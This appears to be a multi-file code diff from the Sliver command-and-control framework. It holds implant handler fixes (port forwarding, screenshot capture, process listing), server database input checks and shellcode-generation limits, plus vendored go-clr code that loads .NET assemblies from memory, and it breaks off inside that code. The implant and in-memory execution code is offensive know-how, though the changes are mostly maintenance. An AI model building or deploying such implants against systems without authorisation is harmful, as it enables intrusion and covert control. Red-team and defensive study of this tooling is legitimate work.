github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
github.com/chromedp/chromedp v0.8.5/go.mod h1:xal2XY5Di7m/bzlGwtoYpmgIOfDqCakOIVg5OfdkPZ4=
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
@@ -322,6 +330,12 @@ github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
@@ -537,6 +551,8 @@ github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
@@ -569,6 +585,8 @@ github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80/go.mod h1:imJHygn/1yfhB7XSJJKlFZKl/J+dCPAknuiaGOshXAs=
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
@@ -589,6 +607,8 @@ github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
github.com/mailru/easyjson v0.7.7 h1:UGYAvKxe3sBsEDzO8ZeWOSlIQfWFlxbzLZe7hwFURr0=
github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc=
github.com/marstr/guid v1.1.0/go.mod h1:74gB1z2wpxxInTG6yaqA7KrtM0NZ+RbrcqDvYHefzho=
github.com/mattbaird/jsonpatch v0.0.0-20171005235357-81af80346b1a/go.mod h1:M1qoD/MqPgTZIk0EWKB38wE28ACRfVcn+cU08jyArI0=
github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU=
@@ -689,6 +709,8 @@ github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/
github.com/opencontainers/runtime-tools v0.0.0-20181011054405-1d69bd0f9c39/go.mod h1:r3f7wjNzSs2extwzU3Y+6pKfobzPh+kKFJ3ofN+3nfs=
github.com/opencontainers/selinux v1.8.0/go.mod h1:RScLhm78qiWa2gbVCcGkC7tCGdgk3ogry1nUQF8Evvo=
github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde h1:x0TT0RDC7UhAVbbWWBzr41ElhJx5tXPWkIHA2HWPRuw=
github.com/orisano/pixelmatch v0.0.0-20220722002657-fb0b55479cde/go.mod h1:nZgzbfBr3hhjoZnS66nKrHmduYNpc34ny7RK4z5/HM0=
github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc=
github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k=
github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic=
@@ -1068,6 +1090,7 @@ golang.org/x/sys v0.0.0-20201112073958-5cba982894dd/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201126233918-771906719818/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -1092,8 +1115,10 @@ golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBc
golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220207234003-57398862261d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86 h1:A9i04dxx7Cribqbs8jf3FQLogkL/CV2YN7hj9KWJCkc=
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64 h1:UiNENfZ8gDvpiWw7IpOMQ27spWmThO1RwwdQVbJahJM=
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY=
+3
View File
@@ -593,6 +593,9 @@ func executeHandler(data []byte, resp RPCResponse) {
Err: fmt.Sprintf("%s", err),
}
}
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
@@ -19,17 +19,18 @@ package tunnel_handlers
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -108,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
Data: portfwdResp,
}
once := sync.Once{}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
once.Do(func() {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
cleanupTunnel := connection.Tunnel(tunnel.ID)
if cleanupTunnel == nil {
return
}
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: cleanupTunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(cleanupTunnel.ID)
if dst != nil {
dst.Close()
}
cancelContext()
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
+2
View File
@@ -1,3 +1,4 @@
//go:build darwin
// +build darwin
package ps
@@ -90,6 +91,7 @@ func processes() ([]Process, error) {
pCommReader := bytes.NewBuffer(pComm)
binPath, _ = pCommReader.ReadString(0x00)
}
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
+5 -3
View File
@@ -58,9 +58,11 @@ func DarwinCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+5 -3
View File
@@ -47,9 +47,11 @@ func LinuxCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+5 -3
View File
@@ -47,9 +47,11 @@ func WindowsCapture() []byte {
}
img, err := screen.Capture(0, 0, width, height)
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error Capture: %s", err)
//{{end}}
}
var buf bytes.Buffer
if err != nil {
+1
View File
@@ -131,6 +131,7 @@ var rootCmd = &cobra.Command{
serverConfig := configs.GetServerConfig()
c2.StartPersistentJobs(serverConfig)
console.StartPersistentJobs(serverConfig)
if serverConfig.DaemonMode {
daemon.Start(daemon.BlankHost, daemon.BlankPort)
} else {
+10
View File
@@ -177,6 +177,16 @@ func kickOperatorCmd(ctx *grumble.Context) {
fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
}
func StartPersistentJobs(cfg *configs.ServerConfig) error {
if cfg.Jobs == nil {
return nil
}
for _, j := range cfg.Jobs.Multiplayer {
jobStartClientListener(j.Host, j.Port)
}
return nil
}
func startMultiplayerModeCmd(ctx *grumble.Context) {
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
+104 -14
View File
@@ -39,9 +39,16 @@ var (
// ImplantConfigByID - Fetch implant build by name
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
configID := uuid.FromStringOrNil(id)
if configID == uuid.Nil {
return nil, ErrRecordNotFound
}
config := models.ImplantConfig{}
err := Session().Where(&models.ImplantConfig{
ID: uuid.FromStringOrNil(id),
ID: configID,
}).First(&config).Error
if err != nil {
return nil, err
@@ -79,6 +86,9 @@ func ImplantBuilds() ([]*models.ImplantBuild, error) {
// ImplantBuildByName - Fetch implant build by name
func ImplantBuildByName(name string) (*models.ImplantBuild, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
}
build := models.ImplantBuild{}
err := Session().Where(&models.ImplantBuild{
Name: name,
@@ -126,6 +136,9 @@ func ImplantProfiles() ([]*models.ImplantProfile, error) {
// ImplantProfileByName - Fetch implant build by name
func ImplantProfileByName(name string) (*models.ImplantProfile, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
}
profile := models.ImplantProfile{}
err := Session().Where(&models.ImplantProfile{
Name: name,
@@ -170,6 +183,9 @@ func ImplantProfileNames() ([]string, error) {
// ProfileByName - Fetch a single profile from the database
func ProfileByName(name string) (*models.ImplantProfile, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
}
dbProfile := &models.ImplantProfile{}
err := Session().Where(&models.ImplantProfile{Name: name}).Find(&dbProfile).Error
return dbProfile, err
@@ -184,6 +200,9 @@ func ListCanaries() ([]*models.DNSCanary, error) {
// CanaryByDomain - Check if a canary exists
func CanaryByDomain(domain string) (*models.DNSCanary, error) {
if len(domain) < 1 {
return nil, ErrRecordNotFound
}
dbSession := Session()
canary := models.DNSCanary{}
err := dbSession.Where(&models.DNSCanary{Domain: domain}).First(&canary).Error
@@ -192,6 +211,9 @@ func CanaryByDomain(domain string) (*models.DNSCanary, error) {
// WebsiteByName - Get website by name
func WebsiteByName(name string) (*models.Website, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
}
website := models.Website{}
err := Session().Where(&models.Website{Name: name}).First(&website).Error
if err != nil {
@@ -235,9 +257,16 @@ func HostByHostID(id uuid.UUID) (*models.Host, error) {
// HostByHostUUID - Get host by the session's reported HostUUID
func HostByHostUUID(id string) (*models.Host, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
hostID := uuid.FromStringOrNil(id)
if hostID == uuid.Nil {
return nil, ErrRecordNotFound
}
host := models.Host{}
err := Session().Where(
&models.Host{HostUUID: uuid.FromStringOrNil(id)},
&models.Host{HostUUID: hostID},
).Preload("IOCs").Preload("ExtensionData").First(&host).Error
if err != nil {
return nil, err
@@ -247,18 +276,32 @@ func HostByHostUUID(id string) (*models.Host, error) {
// IOCByID - Select an IOC by ID
func IOCByID(id string) (*models.IOC, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
ioc := &models.IOC{}
iocID := uuid.FromStringOrNil(id)
if iocID == uuid.Nil {
return nil, ErrRecordNotFound
}
err := Session().Where(
&models.IOC{ID: uuid.FromStringOrNil(id)},
&models.IOC{ID: iocID},
).First(ioc).Error
return ioc, err
}
// BeaconByID - Select a Beacon by ID
func BeaconByID(id string) (*models.Beacon, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
beaconID := uuid.FromStringOrNil(id)
if beaconID == uuid.Nil {
return nil, ErrRecordNotFound
}
beacon := &models.Beacon{}
err := Session().Where(
&models.Beacon{ID: uuid.FromStringOrNil(id)},
&models.Beacon{ID: beaconID},
).First(beacon).Error
return beacon, err
}
@@ -267,8 +310,14 @@ func BeaconByID(id string) (*models.Beacon, error) {
// by default will not fetch the request/response columns since
// these could be arbitrarily large.
func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
beaconTasks := []*models.BeaconTask{}
if len(beaconID) < 1 {
return nil, ErrRecordNotFound
}
id := uuid.FromStringOrNil(beaconID)
if id == uuid.Nil {
return nil, ErrRecordNotFound
}
beaconTasks := []*models.BeaconTask{}
err := Session().Select([]string{
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
"Description",
@@ -278,10 +327,17 @@ func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
// BeaconTaskByID - Select a specific BeaconTask by ID, this
// will fetch the full request/response
func BeaconTaskByID(taskID string) (*models.BeaconTask, error) {
func BeaconTaskByID(id string) (*models.BeaconTask, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
taskID := uuid.FromStringOrNil(id)
if taskID == uuid.Nil {
return nil, ErrRecordNotFound
}
task := &models.BeaconTask{}
err := Session().Where(
&models.BeaconTask{ID: uuid.FromStringOrNil(taskID)},
&models.BeaconTask{ID: taskID},
).First(task).Error
return task, err
}
@@ -294,9 +350,16 @@ func ListBeacons() ([]*models.Beacon, error) {
}
// RenameBeacon - Rename a beacon
func RenameBeacon(beaconID string, name string) error {
func RenameBeacon(id string, name string) error {
if len(id) < 1 {
return ErrRecordNotFound
}
beaconID := uuid.FromStringOrNil(id)
if beaconID == uuid.Nil {
return ErrRecordNotFound
}
err := Session().Where(&models.Beacon{
ID: uuid.FromStringOrNil(beaconID),
ID: beaconID,
}).Updates(models.Beacon{Name: name}).Error
if err != nil {
return err
@@ -305,11 +368,18 @@ func RenameBeacon(beaconID string, name string) error {
}
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
func PendingBeaconTasksByBeaconID(id string) ([]*models.BeaconTask, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
beaconID := uuid.FromStringOrNil(id)
if beaconID == uuid.Nil {
return nil, ErrRecordNotFound
}
tasks := []*models.BeaconTask{}
err := Session().Where(
&models.BeaconTask{
BeaconID: uuid.FromStringOrNil(beaconID),
BeaconID: beaconID,
State: models.PENDING,
},
).Order("created_at").Find(&tasks).Error
@@ -317,9 +387,16 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
}
// UpdateBeaconCheckinByID - Update the beacon's last / next checkin
func UpdateBeaconCheckinByID(beaconID string, next int64) error {
func UpdateBeaconCheckinByID(id string, next int64) error {
if len(id) < 1 {
return ErrRecordNotFound
}
beaconID := uuid.FromStringOrNil(id)
if beaconID == uuid.Nil {
return ErrRecordNotFound
}
err := Session().Where(&models.Beacon{
ID: uuid.FromStringOrNil(beaconID),
ID: beaconID,
}).Updates(models.Beacon{
LastCheckin: time.Now(),
NextCheckin: time.Now().Unix() + next,
@@ -329,10 +406,17 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
// BeaconTasksByEnvelopeID - Select a (sent) BeaconTask by its envelope ID
func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTask, error) {
if len(beaconID) < 1 {
return nil, ErrRecordNotFound
}
beaconUUID := uuid.FromStringOrNil(beaconID)
if beaconUUID == uuid.Nil {
return nil, ErrRecordNotFound
}
task := &models.BeaconTask{}
err := Session().Where(
&models.BeaconTask{
BeaconID: uuid.FromStringOrNil(beaconID),
BeaconID: beaconUUID,
EnvelopeID: envelopeID,
State: models.SENT,
},
@@ -342,6 +426,9 @@ func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTa
// CountTasksByBeaconID - Select a (sent) BeaconTask by its envelope ID
func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
if beaconID == uuid.Nil {
return 0, 0, ErrRecordNotFound
}
allTasks := int64(0)
completedTasks := int64(0)
err := Session().Model(&models.BeaconTask{}).Where(
@@ -363,6 +450,9 @@ func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
// OperatorByToken - Select an operator by token value
func OperatorByToken(value string) (*models.Operator, error) {
if len(value) < 1 {
return nil, ErrRecordNotFound
}
operator := &models.Operator{}
err := Session().Where(&models.Operator{
Token: value,
+3
View File
@@ -19,6 +19,7 @@ package db
*/
import (
"fmt"
"time"
"github.com/bishopfox/sliver/server/configs"
@@ -45,6 +46,8 @@ func newDBClient() *gorm.DB {
dbClient = postgresClient(dbConfig)
case configs.MySQL:
dbClient = mySQLClient(dbConfig)
default:
panic(fmt.Sprintf("Unknown DB Dialect: '%s'", dbConfig.Dialect))
}
err := dbClient.AutoMigrate(
+3
View File
@@ -255,6 +255,9 @@ func GetSliversDir() string {
// SliverShellcode - Generates a sliver shellcode using Donut
func SliverShellcode(name string, config *models.ImplantConfig) (string, error) {
if config.GOOS != "windows" {
return "", fmt.Errorf("Shellcode format is currently only supported on Windows")
}
appDir := assets.GetRootAppDir()
goConfig := &gogo.GoConfig{
CGO: "0",
+7
View File
@@ -0,0 +1,7 @@
.idea
__handlers__
*.exe
*.dll
*.cs
scratch/
static/
+13
View File
@@ -0,0 +1,13 @@
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2004 Sam Hocevar <[email protected]>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. You just DO WHAT THE FUCK YOU WANT TO.
+69
View File
@@ -0,0 +1,69 @@
# go-clr
[![GoDoc](https://godoc.org/github.com/ropnop/go-clr?status.svg)](https://godoc.org/github.com/ropnop/go-clr)
This is my PoC code for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory.
It's written in pure Go by just wrapping the needed syscalls and making use of a lot of unsafe.Pointers to
load structs from memory.
For more info and references, see [this blog post](https://blog.ropnop.com/hosting-clr-in-golang/).
This was was a fun project and proof of concept, but the code is definitely not "production ready". It makes heavy use
of `unsafe` and it's probably very unstable. I don't plan on supporting it much moving forward,
but I wanted to share the code and knowledge to enable others to either contribute, or fork and make their own awesome tools.
## Installation and Usage
`go-clr` is intended to be used as a package in other scripts. Install it with:
```bash
go get github.com/ropnop/go-clr
```
Take a look at the [examples](./examples) folder for some examples on how to leverage it. The package exposes all the structs and methods
necessary to customize, but it also includes two "magic" functions to execute .NET from Go: `ExecuteDLLFromDisk` and
`ExecuteByteArray`. Here's a quick example of using both:
```go
package main
import (
clr "github.com/ropnop/go-clr"
"log"
"fmt"
"io/ioutil"
"runtime"
)
func main() {
fmt.Println("[+] Loading DLL from Disk")
ret, err := clr.ExecuteDLLFromDisk(
"TestDLL.dll",
"TestDLL.HelloWorld",
"SayHello",
"foobar")
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] DLL Return Code: %d\n", ret)
fmt.Println("[+] Executing EXE from memory")
exebytes, err := ioutil.ReadFile("helloworld.exe")
if err != nil {
log.Fatal(err)
}
runtime.KeepAlive(exebytes)
ret2, err := clr.ExecuteByteArray(exebytes)
if err != nil {
log.Fatal(err)
}
fmt.Printf("[+] EXE Return Code: %d\n", ret2)
}
```
The other 2 examples show the same technique but without the magic functions.
### License
This project is licensed under the [Do What the Fuck You Want to Public License](http://www.wtfpl.net/). I deliberately
chose this "joke" license because I really don't think anyone should be using this for anything serious, and I know
some organizations forbid this license from being used in products (which is a good thing).
+212
View File
@@ -0,0 +1,212 @@
//go:build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// AppDomain is a Windows COM object interface pointer for the .NET AppDomain class.
// The AppDomain object represents an application domain, which is an isolated environment where applications execute.
// This structure only contains a pointer to the AppDomain's virtual function table
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
type AppDomain struct {
vtbl *AppDomainVtbl
}
// AppDomainVtbl is a Virtual Function Table for the AppDomain COM interface
// The Virtual Function Table contains pointers to the COM IUnkown interface
// functions (QueryInterface, AddRef, & Release) as well as the AppDomain object's methods
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain?view=netframework-4.8
type AppDomainVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
get_ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
InitializeLifetimeService uintptr
GetLifetimeService uintptr
get_Evidence uintptr
add_DomainUnload uintptr
remove_DomainUnload uintptr
add_AssemblyLoad uintptr
remove_AssemblyLoad uintptr
add_ProcessExit uintptr
remove_ProcessExit uintptr
add_TypeResolve uintptr
remove_TypeResolve uintptr
add_ResourceResolve uintptr
remove_ResourceResolve uintptr
add_AssemblyResolve uintptr
remove_AssemblyResolve uintptr
add_UnhandledException uintptr
remove_UnhandledException uintptr
DefineDynamicAssembly uintptr
DefineDynamicAssembly_2 uintptr
DefineDynamicAssembly_3 uintptr
DefineDynamicAssembly_4 uintptr
DefineDynamicAssembly_5 uintptr
DefineDynamicAssembly_6 uintptr
DefineDynamicAssembly_7 uintptr
DefineDynamicAssembly_8 uintptr
DefineDynamicAssembly_9 uintptr
CreateInstance uintptr
CreateInstanceFrom uintptr
CreateInstance_2 uintptr
CreateInstanceFrom_2 uintptr
CreateInstance_3 uintptr
CreateInstanceFrom_3 uintptr
Load uintptr
Load_2 uintptr
Load_3 uintptr
Load_4 uintptr
Load_5 uintptr
Load_6 uintptr
Load_7 uintptr
ExecuteAssembly uintptr
ExecuteAssembly_2 uintptr
ExecuteAssembly_3 uintptr
get_FriendlyName uintptr
get_BaseDirectory uintptr
get_RelativeSearchPath uintptr
get_ShadowCopyFiles uintptr
GetAssemblies uintptr
AppendPrivatePath uintptr
ClearPrivatePath uintptr
SetShadowCopyPath uintptr
ClearShadowCopyPath uintptr
SetCachePath uintptr
SetData uintptr
GetData uintptr
SetAppDomainPolicy uintptr
SetThreadPrincipal uintptr
SetPrincipalPolicy uintptr
DoCallBack uintptr
get_DynamicDirectory uintptr
}
// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
debugPrint("Entering into appdomain.GetAppDomain()...")
